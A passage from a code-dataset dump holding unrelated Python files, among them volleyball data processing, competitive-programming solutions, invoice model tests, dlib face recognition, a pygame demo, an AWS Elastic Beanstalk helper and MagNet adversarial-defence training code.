divisions.get(\"ageType\") == \"Juniors\"\n ):\n for matches in divisions.get(\"matches\"):\n # Remove all games that are not two vs two\n if (\n len(matches.get(\"playerIds\").get(\"home\")) == 2\n and len(matches.get(\"playerIds\").get(\"away\")) == 2\n \n # Check for missing scores condition removed so we can use results\n # and max(matches.get('games')[0].get('home'),matches.get('games')[0].get('away'))<10\n ):\n\n # Note: The first two values are home and the second two are away\n # Note: They are sorted to ensure consistency when looking as teams\n # Set side_check to home beforehand and change to away just before iterating to away team\n player_holder=[sorted(matches.get('playerIds').get('home')),sorted(matches.get('playerIds').get('away'))]\n side_check_options=['home','away']\n game_number=0\n for games in matches.get('games'):\n if games.get('winner')!=None:\n game_number+=1\n side_check_index=0\n opponent_check_index=1\n for side in player_holder:\n side_check=side_check_options[side_check_index]\n opponent_check=side_check_options[opponent_check_index]\n side_check_index+=1\n opponent_check_index-=1\n for player in side:\n row_holder= []\n row_holder.append(tournaments.get('tournament')) #Tournament Name\n row_holder.append(tournaments.get('type')) #Type (Local or National)\n row_holder.append(divisions.get('division')) #Division\n row_holder.append(divisions.get('gender')) #Gender\n row_holder.append(divisions.get('ageType')) #Age Type\n row_holder.append(matches.get('id')) #Match Id\n row_holder.append(game_number) #Game Number in Series\n row_holder.append(matches.get('type')) #Match Type (Pool or Bracket)\n row_holder.append(matches.get('isMatch')) #Best of Match (T/F Is the match a best of 3, 5, or 7)\n row_holder.append(player) #Player ID\n if player == side[0]: #Teammate ID\n row_holder.append(side[1]) \n else:\n row_holder.append(side[0])\n\n row_holder.append(str(side[0])+'.'+str(side[1])) #Team ID (Combined player IDs with '.' in middle)\n if opponent_check=='home':\n row_holder.append(player_holder[0][0]) #Opponent1 ID\n row_holder.append(player_holder[0][1]) #Opponent2 ID\n row_holder.append(str(player_holder[0][0])+'.'+str(player_holder[0][1])) #Opponent Team ID\n else:\n row_holder.append(player_holder[1][0])\n row_holder.append(player_holder[1][1])\n row_holder.append(str(player_holder[1][0])+'.'+str(player_holder[1][1]))\n \n row_holder.append(side_check==games.get('winner')) #Game Win (T/F)\n row_holder.append(games.get(side_check)) #Team Score\n row_holder.append(games.get(opponent_check)) #Opponent Score\n row_holder.append(max(games.get(side_check),games.get(opponent_check))<10) #Incomplete Score\n row_holder.append(games.get('to')) #Winning Score Required\n row_holder.append(games.get(side_check)-games.get(opponent_check)) #Score Differential\n row_holder.append(games.get(side_check)/max(games.get(side_check)+games.get(opponent_check),1)) #Percentage of points won\n row_holder.append(games.get(games.get('winner'))) #Winning Score\n row_holder.append(divisions.get('latitude')) #Latitude\n row_holder.append(divisions.get('longitude')) #Longitude\n row_holder.append(divisions.get('timeZoneName')) #Time Zone Name\n \n #Convert datetimes (could be more efficient by moving dt_holder outside of loop)\n #dt_holder=dt.strptime(matches.get('dateTime'),'%Y-%m-%dT%H:%M:%S%z')\n # row_holder.append(dt_holder) #Datetime\n # row_holder.append(dt.date(dt_holder)) #Date\n # row_holder.append(dt.time(dt_holder)) #Time\n row_holder.append(np.datetime64(matches.get('dateTime')[0:-1])) #Datetime\n #row_holder.append(divisions.get('googleLocation')) #GoogleLocation\n clean_vball_games.append(row_holder)\n\nlen(clean_vball_games)\n\n#Covert to list of tuples (for structured array later)\nclean_vball_games_tuples=[tuple(clean_vball_games[i]) for i in range(len(clean_vball_games))]\n\n#Functions to help you determine range of specific data types in numpy\n#f4 and i4 are both 32 bit types in final structure\nnp.iinfo(np.int8)\nnp.iinfo(np.int16)\nnp.iinfo(np.int32)\nnp.iinfo(int) #same as np.int64\n\nnp.finfo(np.float16)\nnp.finfo(np.float32)\nnp.finfo(float) #same as np.float64\n\n#Set up data structure for structured array\n#U200 = string of 200 characters\n#i4 = 32 bit integer\n#f4 = 32 bit float\n#M = datetime format\nvball_coltypes=[('tournament_name','U200'), ('type', 'U200'), ('division', 'U200'), ('gender', 'U200'), ('age_type', 'U200'), \n ('series_number', 'i4'), ('match_type', 'U200'), ('isMatch', '?'), ('match_date', 'U200'), ('player_id', 'i4'), \n ('teammate_id', 'i4'), ('team_id', 'U200'), ('opponent1_id', 'i4'), ('opponent2_id', 'i4'), ('opponent_team_id', 'U200'), \n ('win', '?'), ('team_score', 'i4'), ('opponent_score', 'i4'), ('incomplete_score', '?'), ('required_score', 'i4'), \n ('score_differential', 'i4'), ('pct_points_won', 'f4'), ('winning_score', 'i4'), ('latitude', 'f4'), ('longitude', 'f4'), \n ('time_zone', 'U200'), ('datetime', 'M')]\n #,('date', 'datetime64[s]'),('time', 'datetime64[s]')]\n\n#Data Type Verification before creating array (prints all unique data types found in every column compared to defined type)\nfor i in range(len(clean_vball_games_tuples[0])):\n holder=[]\n for j in range(len(clean_vball_games_tuples)):\n test=type(clean_vball_games_tuples[j][i])\n if len(holder)==0:\n holder.append(test)\n elif test not in holder:\n holder.append(test)\n print(vball_coltypes[i],holder)\n\n#Store structured array in vball\nvball=np.array(clean_vball_games_tuples, dtype=vball_coltypes)\n\n##Create a date/time array and merge\n#Import built in datetime package\n\n#Example of how date time works\n#Strptime parses the time value based on a consistent format (This is faster than packages that guess format)\nvball['match_date'][0]\ntest=dt.strptime(vball['match_date'][0],'%Y-%m-%dT%H:%M:%S%z')\ndt.date(test)\ndt.time(test)\ndt.tzname(test)\n\n#Loop to create list of [datetime,date,time] in separate columns\ndt_datetime=[]\ndt_date=[]\ndt_time=[]\nfor i in range(vball.shape[0]):\n dt_holder=dt.strptime(vball['match_date'][i],'%Y-%m-%dT%H:%M:%S%z')\n dt_datetime.append(dt_holder)\n dt_date.append(dt.date(dt_holder))\n dt_time.append(dt.time(dt_holder))\nparsed_dt=[dt_datetime,dt_date,dt_time]\n\n#Dates go from July 2018 to December 2021\n#Dates beyond today recorded Counter({datetime.date(2042, 2, 9): 5776, datetime.date(2042, 2, 10): 2936})\nmin(parsed_dt[0])\nmax(parsed_dt[0])\nmax([x for x in parsed_dt[0] if x<=dt.date.today()])\nCounter([x for x in parsed_dt[0] if x>dt.date.today()])\n\n#All dates came in the UTC universal time zone. This is list of the actual time zones from the data.\n#We may need to consider this later if looking at day/night or weather\nCounter([x for x in vball['time_zone']])\n\ndate_array=np.array(parsed_dt)\nvball2=np.hstack((vball,date_array))\nvball.shape\n\n#Equivalent output in a structured array\nvball['tournament_name'][1]\nvball[1]['tournament_name']\n\n#Calling multiple fields\nvball[['tournament_name','type']][1]\n\n#Need to sort by date before I can work on below code copied from Michael\n# db = Elo(k = 20)\n\n# db.addPlayer(home_team)\n# db.addPlayer(away_team)\n# db.gameOver(home_team, away_team, True)\n# len(db.ratingDict)\n# min(db.ratingDict.values())\n# sum(db.ratingDict.values())/len(db.ratingDict.values())\n# max(db.ratingDict.values())\n\n# db.ratingDict.values()\n\n# if match.get(\"games\")[-1].get(\"winner\") == \"home\": # -1 bc we assume the last winner listed won the overall match\n# db.gameOver(home_team, away_team, True)\n# if match.get(\"games\")[-1].get(\"winner\") == \"away\":\n# db.gameOver(away_team, home_team, 0)\n \n \n \n#Parking lot for old code that may be useful later\n# cols={'tournament_name':0,'type':1,'division':2,'gender':3,'age_type':4,'match_id':5,'series_number':6,'match_type':7,\n# 'isMatch':8,'match_date':9,'player_id':10,'teammate_id':11,'team_id':12,'opponent1_id':13,'opponent2_id':14,\n# 'opponent_team_id':15,'win':16,'team_score':17,'opponent_score':18,'incomplete_score':19,'required_score':20,\n# 'score_differential':21,'pct_points_won':22,'winning_score':23,'latitude':24,'longitude':25,'time_zone':26}\n\n#Data type info can be found here: https://numpy.org/devdocs/reference/arrays.dtypes.html#arrays-dtypes\n# vball_cols=['tournament_name', 'type', 'division', 'gender', 'age_type', \n# 'match_id', 'series_number', 'match_type', 'isMatch', 'match_date', \n# 'player_id', 'teammate_id', 'team_id', 'opponent1_id', 'opponent2_id', \n# 'opponent_team_id', 'win', 'team_score', 'opponent_score', 'incomplete_score', \n# 'required_score', 'score_differential', 'pct_points_won', 'winning_score', 'latitude', \n# 'longitude', 'time_zone']\n# vball_types=['U200', 'U200', 'U200', 'U200', 'U200', \n# 'i4', 'i4', 'U200', '?', 'U200', \n# 'i4', 'i4', 'U200', 'i4', 'i4', \n# 'U200', '?', 'i4', 'i4', '?', \n# 'i4', 'i4', 'f4', 'i4', 'f4', \n# 'f4', 'U200']\n# vball_coltypes=list(zip(vball_cols,vball_types))","repo_name":"C-Stewart-GH/SMU_Capstone_Project","sub_path":"Imported_Data/Game_Level_Data.py","file_name":"Game_Level_Data.py","file_ext":"py","file_size_in_byte":13722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18334120751","text":"import sys\nimport math\nfrom collections import defaultdict\nfrom collections import deque\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef make_adjlist_nond(n, edges):\n res = [[] for _ in range(n+1)]\n for edge in edges:\n res[edge[0]].append(edge[1])\n res[edge[1]].append(edge[0])\n return res\n\n\ndef diameter(N, graph):\n \"\"\"\n :param N: 木の頂点数\n :param graph: 木の隣接行列(1-index)\n :return: 直径\n \"\"\"\n\n def dfs(start):\n depth = [-1] * (N+1)\n depth[start] = 0\n\n stack = deque()\n stack.append(start)\n\n while stack:\n now = stack.pop()\n for goto in graph[now]:\n if depth[goto] != -1:\n continue\n depth[goto] = depth[now] + 1\n stack.append(goto)\n return depth\n\n depth1 = dfs(1)\n idx = depth1.index(max(depth1))\n depth2 = dfs(idx)\n\n return max(depth2)\n\n\ndef main():\n N = NI()\n edges = [NLI() for _ in range(N-1)]\n graph = make_adjlist_nond(N, edges)\n print(diameter(N, graph) + 1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"tenkei90/tenkei90_003.py","file_name":"tenkei90_003.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13975435653","text":"# Faça um algoritmo que lê valores para 3 variáveis A, B e C e\n# mostra as mesmas em ordem crescente.\n\nA = float(input(\"Digite o primeiro valor: \"))\nB = float(input(\"Digite o segundo valor: \"))\nC = float(input(\"Digite o terceiro valor: \"))\n \n# testa o menor valor digitado\nif (A < B) and (A < C):\n primeiro = A\nelif (B < A) and (B < C):\n primeiro = B\nelse:\n primeiro = C\n\n# testa o maior valor digitado\nif (A > B ) and (A > C):\n terceiro = A\nelif (B > C) and (B > A):\n terceiro = B\nelse:\n terceiro = C\n \n# testa o valor intermediário\nif ((A > B) and (A < C )) or ((A > C) and (A < B)):\n segundo = A\nelif ((B > A) and (B < C )) or ((B > C) and (B < A)):\n segundo = B\nelse:\n segundo = C\n \nprint (\"A ordem crescente dos número é\",primeiro,\",\",segundo,\",\",terceiro,\".\")\n","repo_name":"isaberamos/BSI-Algoritmos","sub_path":"Repetições encaixadas/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43111920571","text":"from subprocess import Popen, PIPE\n\n\ndef set_deployment_rolling(envName):\n\n print('\\n\\nChanging {envName} deployment policy to rolling.')\n\n command = ['aws', 'elasticbeanstalk', 'update-environment', '--environment-name', envName,\n '--option-settings', 'Namespace=aws:elasticbeanstalk:command,OptionName=DeploymentPolicy,Value=Rolling']\n\n process = Popen(command, stdout=PIPE, stderr=PIPE)\n\n stdout, stderr = process.communicate()\n\n ls_list = stdout.decode('utf-8')\n","repo_name":"johnnymartinez/ElasticbeanstalkUpgradeTool","sub_path":"commands/set_deployment_rolling.py","file_name":"set_deployment_rolling.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7398447611","text":"'''\n题目: \n 5个人(ABCDE)夜间合伙捕鱼,然后睡去,清晨依次醒来分鱼\n A - 把鱼分成5份扔掉多的一条拿走自己的那份\n B - 把鱼分成5份扔掉多的一条拿走自己的那份\n C - 把鱼分成5份扔掉多的一条拿走自己的那份\n D - 把鱼分成5份扔掉多的一条拿走自己的那份\n E - 把鱼分成5份扔掉多的一条拿走自己的那份\n 五人至少捕到多少条鱼？\n'''\n\nfish = 1\nwhile True:\n total = fish\n is_enouge = True\n for _ in range(5):\n if total % 5 == 1:\n total = (total-1) // 5 * 4\n else:\n is_enouge = False\n break\n print('这鱼不对')\n if is_enouge:\n print('这鱼%d条' % fish)\n break\n fish += 1","repo_name":"Dosimz/Python-100-Days-Study-Notes","sub_path":"基础心法第1层--炼体/渔夫分鱼.py","file_name":"渔夫分鱼.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"zh","doc_type":"code","stars":79,"dataset":"github-code","pt":"3"} +{"seq_id":"16209598936","text":"# 16.最接近的三数之和\n# 给定一个包括 n 个整数的数组 nums 和一个目标值 target。找出 nums 中的三个整数，使得它们的和与 target 最接近。返回这三个数的和。假定每组输入只存在唯一答案。\n#\n#\n#\n# 示例：\n#\n# 输入：nums = [-1, 2, 1, -4], target = 1\n# 输出：2\n# 解释：与 target 最接近的和是 2 (-1 + 2 + 1 = 2) 。\n#\n#\n# 提示：\n#\n# 3 <= nums.length <= 10 ^ 3\n# -10 ^ 3 <= nums[i] <= 10 ^ 3\n# -10 ^ 4 <= target <= 10 ^ 4\n\n\nfrom typing import List\n\n\nclass Solution:\n def threeSumClosest(self, nums: List[int], target: int) -> int:\n nums.sort()\n min = abs(nums[0] + nums[1] + nums[2] - target)\n res = nums[0] + nums[1] + nums[2]\n for i in range(len(nums) - 2):\n l = i + 1\n r = len(nums) - 1\n while l < r:\n sum = nums[i] + nums[l] + nums[r]\n if abs(sum - target) < min:\n min = abs(sum - target)\n res = sum\n if sum > target:\n r -= 1\n elif sum < target:\n l += 1\n else:\n return sum\n return res\n\n\nif __name__ == '__main__':\n l = [-1, 2, 1, -4]\n j = Solution()\n a = j.threeSumClosest(l, 1)\n print(a)\n# ————————————————\n# 版权声明：本文为CSDN博主“姜泽毓”的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。\n# 原文链接：https://blog.csdn.net/qq_43722162/article/details/106992220\n\n\n# 注意:\n# 1.先要排序\n# 2.一定不要忘记定义左右值","repo_name":"1642195610/backup_data","sub_path":"old-zgd/最接近的三数之和.py","file_name":"最接近的三数之和.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"36031730283","text":"import os\nfrom unittest import TestCase\nimport datetime\n\nfrom models import db, User, Client, Project, Invoice\n\nos.environ['DATABASE_URL'] = \"postgresql:///work_logger\"\n\nfrom app import app\n\ndb.create_all()\n\n\nclass InvoiceModelTestCase(TestCase):\n \"\"\"Test views for messages.\"\"\"\n\n def setUp(self):\n \"\"\"Create test client, add sample data.\"\"\"\n\n db.drop_all()\n db.create_all()\n\n u1 = User.register(\"testuser\", \"testpassword\", \"test@email.com\", \"John\", \"Doe\")\n u1_id = 1111\n u1.id = u1_id\n\n db.session.add(u1)\n db.session.commit()\n\n c1 = Client(user_id=1111, name='Organisation', street='Street 10', postcode='EH2 3XI', country='United Kingdom', city='Edinburgh')\n c1_id = 2222\n c1.id = c1_id\n\n db.session.add(c1)\n db.session.commit()\n\n p1 = Project(user_id=u1_id, project_name='Administration', hourly_rate=100, curr_of_rate='USD', curr_of_inv='EUR', client_id=c1_id)\n p1_id = 3333\n p1.id = p1_id\n\n db.session.add(p1)\n db.session.commit()\n\n i1 = p1.create_invoice()\n\n u1 = User.query.get(u1_id)\n c1 = Client.query.get(c1_id)\n p1 = Project.query.get(p1_id)\n i1 = Invoice.query.get(i1.id)\n\n\n self.u1 = u1\n self.u1_id = u1_id\n self.c1 = c1 \n self.c1_id = c1_id\n self.p1 = p1 \n self.p1_id = p1_id\n self.i1 = i1\n self.i1_id = i1.id\n\n self.client = app.test_client()\n\n def tearDown(self):\n res = super().tearDown()\n db.session.rollback()\n return res\n\n def test_invoice_model(self):\n \"\"\"Does basic model work?\"\"\"\n\n self.assertEqual(self.i1.project_id, self.p1_id)\n\n#######################test project methods\n\n def test_invoice_date(self): \n \"\"\"Does invoice make pretty date?\"\"\"\n \n self.i1.date = datetime.date(2020, 12, 1)\n self.assertEqual(self.i1.pretty_date, \"2020-12-1\")\n\n def test_convert_date(self): \n \"\"\"Does invoice convert date from JSON format to datetime.date?\"\"\"\n\n date_JSON = \"2020-02-01\"\n self.assertEqual(self.i1.convert_date(date_JSON), datetime.date(2020, 2, 1))\n\n def test_handle_extras_one_at_a_time(self): \n \"\"\"Does inv handle extras correctly if added one at a time?\"\"\"\n\n self.i1.amount_in_curr_of_inv = 100\n self.i1.handle_extras(100, None, None)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 200)\n self.i1.handle_extras(None, 50, None)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 100)\n self.i1.handle_extras(None, None, 100)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 200)\n\n def test_handle_extras_all_at_once(self): \n \"\"\"Does inv handle extras correctly if added all at once?\"\"\"\n \n self.i1.amount_in_curr_of_inv = 100\n self.i1.handle_extras(100, 50, 50)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 150)\n\n def test_handle_extras_two_at_a_time(self):\n \"\"\"Does inv handle xtras correctly if added two at a time?\"\"\"\n\n self.i1.amount_in_curr_of_inv = 100\n self.i1.handle_extras(100, 50, None)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 100)\n\n self.i1.handle_extras(None, 50, 10)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 55)\n\n self.i1.handle_extras(45, None, 20)\n self.assertEqual(self.i1.amount_after_extras_in_curr_of_inv, 120)\n\n\n\n\n","repo_name":"sanspanic/Track","sub_path":"tests/models/test_invoice_model.py","file_name":"test_invoice_model.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2390278083","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 23 12:12:28 2020\n\n@author: Arthur Gonzaga Ribeiro\n\"\"\"\n\nimport os\nimport _pickle as cPickle\nimport dlib\nimport cv2\nimport numpy as np\nimport sys\n\n# Loading files\nface_detector = dlib.get_frontal_face_detector()\nshape_predictor = dlib.shape_predictor(\"resources/shape_predictor_68_face_landmarks.dat\")\nface_recognition = dlib.face_recognition_model_v1(\"resources/dlib_face_recognition_resnet_model_v1.dat\")\n\n# Input this value\nclassroomID = '1A' #sys.argv[1]\n\n# File paths according to the classroom ID\ndescriptorsPath = \"classrooms/{}/descriptors.npy\".format(classroomID)\nnamesPath = \"classrooms/{}/names.pickle\".format(classroomID)\n\n# Get the students names and descriptors\nnames = np.load(namesPath, allow_pickle=True)\ndescriptors = np.load(descriptorsPath)\n\n# Input the image\nfile = 'resources/example.jpg'\n\n# Read the image with OpenCV\nimage = cv2.imread(file)\n\n# Detect faces in the image (array)\nfacesDetected = face_detector(image, 1)\n\n# Exit if doesn't detect any face in the image\nif len(facesDetected) == 0:\n print('No faces detected')\n exit(0)\n \n# If the euclidean distance is greater than 0.5\n# The two faces belong to the same person\nlimiar = 0.5\n\n# Loop through the list\nfor face in facesDetected:\n \n # Generate the 128D Vector from the face\n points = shape_predictor(image, face)\n \n # Generate the face descriptor from the points\n faceDescriptor = face_recognition.compute_face_descriptor(image, points)\n \n # Organize in a list\n faceDescriptorsList = [fd for fd in faceDescriptor]\n \n # Create a npArray from the list\n npArray = np.asarray(faceDescriptorsList, dtype=np.float64)\n \n # Create a new axis\n npArray = npArray[np.newaxis, :]\n\n # Calculate the euclidean distance (array)\n distances = np.linalg.norm(npArray - descriptors, axis=1)\n \n # The index of the minimum distance in the array\n index = np.argmin(distances)\n \n # Get the minimum distance\n minDistance = distances[index]\n print(minDistance)\n\n # Verify if is it the same student\n if minDistance <= limiar:\n name = names[index]\n else:\n name = 'Unknown'\n print(name)\n","repo_name":"arthurgonzaga/FaceRecognition","sub_path":"_docs/computer/face_recognition.py","file_name":"face_recognition.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"23761962244","text":"import pygame\nimport sys\n\npygame.init()\n\nlargeur = 800\nhauteur = 600\n\nfenetre = pygame.display.set_mode((largeur, hauteur))\n\nfond = (0, 0, 0)\ncouleur_carre = (255, 0, 0)\n\nx_carre = 100\ny_carre = 100\nlargeur_carre = 50\nhauteur_carre = 50\nvitesse = 1\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n touches = pygame.key.get_pressed()\n if touches[pygame.K_LEFT]:\n x_carre -= 0.01\n if touches[pygame.K_RIGHT]:\n x_carre += 0.01\n if touches[pygame.K_UP]:\n y_carre -= 0.01\n if touches[pygame.K_DOWN]:\n y_carre += 0.01\n \n\n\n fenetre.fill(fond)\n\n \n\n pygame.draw.rect(fenetre, couleur_carre, (x_carre,y_carre,largeur_carre, hauteur_carre))\n\n pygame.display.flip()\n","repo_name":"Melvi-l/canva2D","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12572807877","text":"#https://leetcode.com/problems/find-bottom-left-tree-value\n'''Given a binary tree, find the leftmost value in the last row of the tree.\n\nInp:\n 1\n / \\\n 2 3\n / / \\\n 4 5 6\n /\n 7\n\nOut: 7\n'''\n\nimport collections\nclass Solution(object):\n def findBottomLeftValue(self, root):\n # Perform a BFS of the tree. At each level, we update the leftmost value\n # found so far. We also add the children of each node to the queue\n queue = collections.deque()\n queue.append(root)\n ans = None\n while queue:\n # Determine the number of nodes in this level.\n n = len(queue)\n # Update answer with the value of the leftmost node on this level.\n node = queue.popleft()\n ans = node.val\n # Put the leftmost node back onto the queue for processing of its children\n queue.appendleft(node)\n for i in xrange(n):\n node = queue.popleft()\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n return ans\n\n def findBottomLeftValue(self, root):\n # Alternatively, we just append the right child before the left child.\n # In this manner, the answer will be the last node ever visited.\n queue = collections.deque()\n queue.append(root)\n ans = None\n while queue:\n node = queue.popleft()\n # Append right node before the left node\n queue.extend(filter(None, [node.right, node.left]))\n # If no more nodes in the queue, then this is the leftmost value\n # in the bottom row.\n if not queue:\n ans = node.val\n return ans\n","repo_name":"humachine/AlgoLearning","sub_path":"leetcode/Done/513_FindBottomLeftTreeValue.py","file_name":"513_FindBottomLeftTreeValue.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18331083741","text":"import sys\nimport math\nfrom collections import defaultdict\nfrom collections import deque\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\n\n\ndef main():\n N, A, B = NMI()\n AI = sorted(NLI())\n\n if A == 1:\n print(*AI, sep=\"\\n\")\n exit()\n\n max_a = AI[-1]\n cnt = 0\n while min(AI) * A <= max_a:\n AI[0] *= A\n cnt += 1\n AI.sort()\n\n if cnt == B:\n print(*[a % MOD for a in AI], sep=\"\\n\")\n exit()\n\n B -= cnt\n loop = B // N\n rem = B % N\n for _ in range(rem):\n AI[0] *= A\n AI.sort()\n for a in AI:\n print(a * pow(A, loop, MOD) % MOD)\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ARC/ARC051/ARC051C.py","file_name":"ARC051C.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42671137086","text":"import os\nimport sys\n\nimport numpy as np\n\nsys.path.append(os.getcwd())\nLIB_PATH = os.getcwd() + \"/art_library\"\nsys.path.append(LIB_PATH)\n# print(\"sys.path \", sys.path)\nfrom defences.magnet import Autoencoder1, Autoencoder2, MagNetAutoencoderReformer, MagNetDetector, MagNetOperator\n\nBATCH_SIZE = 256\n\n\ndef train_magnet(data, model_name, X_train, y_train, X_val, param, device, path, epochs, model=None):\n detectors = []\n\n if data == 'mnist':\n n_channel = 1\n detectors.append(MagNetDetector(\n encoder=Autoencoder1(n_channel=n_channel),\n classifier=model,\n lr=param['lr'],\n batch_size=BATCH_SIZE,\n weight_decay=param['weight_decay'],\n x_min=0.0,\n x_max=1.0,\n noise_strength=param['noise_strength'],\n algorithm='error',\n p=1,\n device=device))\n\n detectors.append(MagNetDetector(\n encoder=Autoencoder2(n_channel),\n classifier=model,\n lr=param['lr'],\n batch_size=BATCH_SIZE,\n weight_decay=param['weight_decay'],\n x_min=0.0,\n x_max=1.0,\n noise_strength=param['noise_strength'],\n algorithm='error',\n p=2,\n device=device))\n elif data == 'cifar10':\n n_channel = 3\n autoencoder = Autoencoder2(n_channel=n_channel)\n detectors.append(MagNetDetector(\n encoder=autoencoder,\n classifier=model,\n lr=param['lr'],\n batch_size=BATCH_SIZE,\n weight_decay=param['weight_decay'],\n x_min=0.0,\n x_max=1.0,\n noise_strength=param['noise_strength'],\n algorithm='error',\n p=2,\n device=device))\n detectors.append(MagNetDetector(\n encoder=autoencoder,\n classifier=model,\n lr=param['lr'],\n batch_size=BATCH_SIZE,\n weight_decay=param['weight_decay'],\n x_min=0.0,\n x_max=1.0,\n noise_strength=param['noise_strength'],\n algorithm='prob',\n temperature=10,\n device=device))\n detectors.append(MagNetDetector(\n encoder=autoencoder,\n classifier=model,\n lr=param['lr'],\n batch_size=BATCH_SIZE,\n weight_decay=param['weight_decay'],\n x_min=0.0,\n x_max=1.0,\n noise_strength=param['noise_strength'],\n algorithm='prob',\n temperature=40,\n device=device))\n else:\n raise NotImplementedError\n\n # Load existing autoencoder or train new one\n for i, d in enumerate(detectors, start=1):\n file_ae = os.path.join(path, '{}_{}_magnet_autoencoder_{}.pt'.format(data, model_name, str(i)))\n if os.path.exists(file_ae):\n print('Found existing MagNet autoencoder:', file_ae)\n d.load(file_ae)\n else:\n # cifar10 use the autoencoder 3 times!\n if data == 'mnist' or (data == 'cifar10' and i == 1):\n d.fit(X_train, y_train, epochs=epochs)\n mse = d.score(X_val)\n print('MSE training set: {:.6f}, validation set: {:.6f}'.format(\n d.history_train_loss[-1] if len(d.history_train_loss) > 0 else np.inf, mse))\n d.search_threshold(X_val, fp=param['fp'], update=True)\n print('Threshold:', d.threshold)\n d.save(file_ae)\n print('Saved to:', file_ae)\n\n reformer = MagNetAutoencoderReformer(\n encoder=detectors[0].encoder,\n batch_size=BATCH_SIZE,\n device=device)\n\n detector = MagNetOperator(\n classifier=model,\n detectors=detectors,\n reformer=reformer,\n batch_size=BATCH_SIZE,\n device=device)\n return detector\n","repo_name":"changx03/baard_exp2","sub_path":"pipeline/train_defence.py","file_name":"train_defence.py","file_ext":"py","file_size_in_byte":3842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42034266137","text":"import os\nimport logging\n\nfrom .constants import PERMISSIONS_DIR\n\n# create logger\nlogging.basicConfig()\nlogger = logging.getLogger(os.environ.get('DT_MODULE_TYPE', 'module') + '.permissions')\nlogger.setLevel(logging.INFO)\nif 'DEBUG' in os.environ and os.environ['DEBUG'].lower() in ['true', 'yes', '1']:\n logger.setLevel(logging.DEBUG)\n\n\ndef permission_granted(permission: str, strict: bool = False) -> bool:\n permission_file = os.path.join(PERMISSIONS_DIR, permission)\n # check if the permission file exists\n if not os.path.isfile(permission_file):\n if strict:\n raise FileNotFoundError(f\"File '{permission_file}' not found.\")\n return False\n # read permission file\n with open(permission_file, 'rt') as fin:\n permission_value = fin.read().strip()\n # parse value\n return permission_value.lower() in ['true', 'yes', '1']\n","repo_name":"nicholas-gs/dt-common-cps","sub_path":"dt_permissions_utils/dt_permissions_utils/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24609686221","text":"#Question 1\r\n #Sum of first n natural numbers\r\nimport math\r\nn = input(\"Enter a natural number: \") \r\nn = int(n)\r\nk= math.floor(n) \r\ns=0\r\nif (n-k) ==0 and n>0: #Check for negetive numbers and fractions\r\n for i in range(1,n+1):\r\n s = s + i\r\n print(\"The sum of first n natural numbers is \" + str(s)) #printing sum of first n natural numbers\r\nelse:\r\n print(\"Not a natural number\")\r\n\r\n #Sum of first n Odd numbers\r\nodno = input(\"enter the number of odd numbers whose sum you want to calculate: \")\r\nodno = int(odno) \r\nh = math.floor(odno)\r\nosum = 0\r\nif (odno - h) == 0 and odno>0: #Check for negetive numbers and fractions\r\n for i in range(1, 2*odno):\r\n if i%2==1:\r\n osum = osum + i\r\n print(\"The sum of first n odd numbers is \" + str(osum)) #priniting sum of first n odd numbers\r\nelse:\r\n print(\"Not a natural number\")\r\n\r\n\r\n\r\n#Question 2\r\n #Sum of N terms of an AP having common difference 1.5 \r\na = input(\"Enter the initial value of AP: \") #asking for initial value of AP\r\na = int(a)\r\napt = input(\"Entere the term number of AP: \") #Entering number of terms\r\napt = int(apt)\r\napsum = 0\r\nif (apt- math.floor(apt))==0 and 